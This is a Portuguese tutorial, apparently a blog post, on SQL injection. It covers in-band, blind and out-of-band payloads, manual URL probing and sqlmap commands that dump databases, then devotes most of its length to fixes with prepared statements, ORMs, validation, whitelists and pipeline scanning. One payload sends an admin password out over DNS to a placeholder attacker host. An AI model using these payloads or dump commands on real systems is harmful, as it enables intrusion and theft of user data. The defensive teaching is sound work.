SQL injection na prática: explorando e corrigindo

1. Introdução ao SQL Injection

SQL Injection (SQLi) é uma das vulnerabilidades mais antigas e perigosas em aplicações web. Ela ocorre quando um atacante consegue inserir comandos SQL maliciosos em uma consulta, geralmente através de campos de entrada não sanitizados, como formulários de login, campos de busca ou parâmetros de URL.

Para um desenvolvedor, entender SQLi não é opcional — é obrigatório. Uma única vulnerabilidade pode expor milhões de registros de clientes, senhas em texto claro, dados financeiros e até permitir execução remota de comandos no servidor (RCE). Casos famosos como o vazamento da Equifax (2017) e ataques a sites governamentais tiveram SQLi como vetor principal.

A injeção acontece quando o código monta consultas SQL concatenando strings com dados fornecidos pelo usuário. Em vez de tratar a entrada como dado, o banco a interpreta como parte do comando SQL.

2. Tipos de SQL Injection e Exemplos Práticos

In-band SQLi (Error-based e Union-based)

O atacante usa o mesmo canal para enviar o ataque e receber os resultados.

-- Consulta vulnerável:
SELECT * FROM usuarios WHERE email = '$email' AND senha = '$senha';

-- Ataque error-based (revela estrutura do banco):
' OR 1=1 --

-- Ataque union-based (extrai dados de outras tabelas):
' UNION SELECT id, nome, senha, email FROM administradores --

Blind SQLi (Boolean-based e Time-based)

O atacante não vê os dados diretamente, mas infere informações através de respostas verdadeiro/falso ou atrasos na resposta.

-- Boolean-based: testa se a primeira letra da senha é 'a'
' AND SUBSTRING((SELECT senha FROM admins LIMIT 1),1,1)='a' --

-- Time-based: confirma existência de tabela 'cartoes'
' AND IF((SELECT COUNT(*) FROM cartoes)>0, SLEEP(5), 0) --

Out-of-band SQLi

Usa canais paralelos (DNS, HTTP) para exfiltrar dados quando o banco suporta funções de rede.

-- Exemplo com MySQL e LOAD_FILE (envia dado via requisição DNS):
' AND LOAD_FILE(CONCAT('\\\\', (SELECT senha FROM admins LIMIT 1), '.atacante.com\\a')) --

3. Explorando SQL Injection em um Cenário Real

Testes manuais

Suponha uma aplicação com endpoint /produto?id=5. O teste inicial é simples:

http://site.com/produto?id=5'          # Erro SQL? Provável vulnerável
http://site.com/produto?id=5 AND 1=1   # Resposta normal
http://site.com/produto?id=5 AND 1=2   # Resposta diferente? Boolean-based confirmado

Comentários SQL ajudam a ignorar o resto da consulta:

http://site.com/produto?id=5' OR '1'='1' -- 
http://site.com/produto?id=5' UNION SELECT 1,2,3,4 --

Automatizando com SQLMap

SQLMap automatiza a detecção e exploração de SQLi:

# Detecção básica:
sqlmap -u "http://site.com/produto?id=5" --batch

# Extrair bancos de dados:
sqlmap -u "http://site.com/produto?id=5" --dbs

# Extrair tabelas de um banco específico:
sqlmap -u "http://site.com/produto?id=5" -D banco_alvo --tables

# Extrair colunas e dados:
sqlmap -u "http://site.com/produto?id=5" -D banco_alvo -T usuarios --dump

4. Corrigindo SQL Injection - Prepared Statements

Prepared statements separam a estrutura SQL dos dados fornecidos. O banco compila o comando primeiro e depois insere os parâmetros como dados puros, nunca como código executável.

Exemplo em PHP com PDO

<?php
// Conexão segura com PDO
$pdo = new PDO('mysql:host=localhost;dbname=loja', 'usuario', 'senha');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

// Consulta com prepared statement
$stmt = $pdo->prepare('SELECT * FROM produtos WHERE id = :id AND ativo = 1');
$stmt->execute([':id' => $_GET['id']]);
$produto = $stmt->fetch();

// Sempre use placeholders nomeados ou posicionais
?>

Exemplo em Node.js com mysql2

const mysql = require('mysql2/promise');

async function buscarUsuario(email) {
  const connection = await mysql.createConnection({
    host: 'localhost',
    user: 'root',
    database: 'app'
  });

  // Placeholder ? protege contra injeção
  const [rows] = await connection.execute(
    'SELECT * FROM usuarios WHERE email = ?',
    [email]  // Dados são passados separadamente
  );

  return rows;
}

Por que funciona?

O banco recebe dois fluxos separados: o template SQL compilado e os parâmetros. Mesmo que o usuário envie ' OR 1=1 --, o banco trata isso como uma string literal, não como parte do comando.

5. Corrigindo SQL Injection - ORM e Query Builders

ORMs modernos usam prepared statements internamente, mas exigem cuidado com "raw queries".

Prisma (Node.js)

// Seguro - Prisma usa prepared statements automaticamente
const usuario = await prisma.usuario.findUnique({
  where: { email: req.body.email }
});

// Perigoso - raw query sem parametrização
await prisma.$queryRawUnsafe(`SELECT * FROM usuarios WHERE email = '${email}'`);

// Correto - raw query com parâmetros
await prisma.$queryRaw`SELECT * FROM usuarios WHERE email = ${email}`;

Knex.js (Query Builder)

// Seguro - Knex parametriza automaticamente
knex('usuarios').where('email', req.body.email).first();

// Perigoso - raw sem parâmetros
knex.raw(`SELECT * FROM usuarios WHERE email = '${email}'`);

// Correto - raw com bindings
knex.raw('SELECT * FROM usuarios WHERE email = ?', [email]);

Cuidados com ORMs

Nunca confie cegamente em ORMs. Se você usa métodos como raw(), query(), $queryRawUnsafe, está abrindo brecha para SQLi. Sempre prefira os métodos parametrizados.

6. Validação de Entrada e Camadas Adicionais

Validação de tipos e formatos

// PHP - validar se é número antes de usar em consultas
$id = $_GET['id'];
if (!is_numeric($id)) {
    die('ID inválido');
}

// JavaScript - validar formato de email
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!emailRegex.test(req.body.email)) {
    return res.status(400).send('Email inválido');
}

Escapamento como fallback

Escapar caracteres especiais (ex: mysql_real_escape_string()) é melhor que nada, mas nunca substitui prepared statements. Use apenas quando prepared statements não são possíveis (raro).

Listas brancas para ORDER BY

Campos dinâmicos como ORDER BY não podem usar prepared statements (são estruturais). Use listas brancas:

$camposPermitidos = ['nome', 'preco', 'data_criacao'];
$ordenarPor = $_GET['ordenar'];

if (in_array($ordenarPor, $camposPermitidos)) {
    $query = "SELECT * FROM produtos ORDER BY $ordenarPor";
} else {
    $query = "SELECT * FROM produtos ORDER BY nome";
}

7. Testando e Prevenindo em Pipeline

Testes automatizados com SAST

Ferramentas de Análise Estática de Segurança (SAST) identificam padrões vulneráveis no código-fonte:

# Semgrep - regra para detectar concatenação em SQL
rules:
  - id: sql-injection-detection
    patterns:
      - pattern: "SELECT ... FROM ... WHERE ... = '$VAR'"
    message: "Possível SQL Injection detectada"
    languages: [php, python, javascript]

# SonarQube - análise contínua no CI/CD

Testes dinâmicos com OWASP ZAP

Ferramentas DAST como OWASP ZAP ou Burp Suite escaneiam a aplicação em execução:

# OWASP ZAP - scan automático de SQLi via linha de comando
zap.sh -cmd -quickurl http://site-alvo.com -quickout relatorio.html

Checklist para code review

  • [ ] Toda consulta SQL usa prepared statements ou ORM parametrizado?
  • [ ] Há alguma concatenação de strings em queries SQL?
  • [ ] Raw queries em ORMs usam bindings de parâmetros?
  • [ ] ORDER BY e outros campos estruturais usam lista branca?
  • [ ] Entradas são validadas quanto ao tipo e formato esperados?
  • [ ] O banco de dados tem privilégios mínimos (não roda como root)?
  • [ ] Há testes automatizados de segurança no pipeline CI/CD?

Referências